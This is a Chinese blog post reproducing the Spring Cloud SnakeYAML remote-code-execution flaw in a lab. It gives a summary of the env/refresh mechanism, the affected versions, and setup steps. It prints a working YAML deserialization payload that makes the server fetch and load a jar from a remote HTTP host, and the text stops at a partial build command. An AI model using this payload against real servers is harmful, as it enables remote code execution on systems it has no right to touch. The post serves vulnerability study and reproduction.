spring cloud SnakeYAML RCE

最新推荐文章于 2025-03-21 21:01:18 发布

0x6b79

最新推荐文章于 2025-03-21 21:01:18 发布

阅读量1k

点赞数

分类专栏：代码审计 java安全文章标签： spring cloud spring boot 安全漏洞网络安全

本文链接：https://blog.youkuaiyun.com/qq_53264525/article/details/121800851

版权

本文详细分析了Spring Cloud中SnakeYAML远程代码执行（RCE）漏洞的原理，包括如何通过env接口改变服务器环境变量，以及利用refresh接口更新配置触发漏洞。复现过程中提到了利用特定的jar文件和yml文件，通过反序列化操作执行恶意代码。漏洞利用存在版本限制，主要影响Spring Boot 1.5.x的某些版本和1.4及以下版本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

spring cloud SnakeYAML RCE

漏洞环境：

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce

IDEA打开然后配置一个Spring Boot即可

漏洞复现：

用 python3 -m http.server 80 在 VPS 上开一个简单的 WEB 服务

编写一个 example.yml 文件，上传到 VPS 根目录

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://192.168.43.141/example.jar"]
  ]]
]

把 https://github.com/artsploit/yaml-payload 下载下来，用如下命令生成 example.jar 文件，把 jar 文件上传到 VPS 根目录（我这里把AwesomeScriptEngineFactory.java 文件里的命令执行改为弹计算机，方便测试）
```
javac src/
```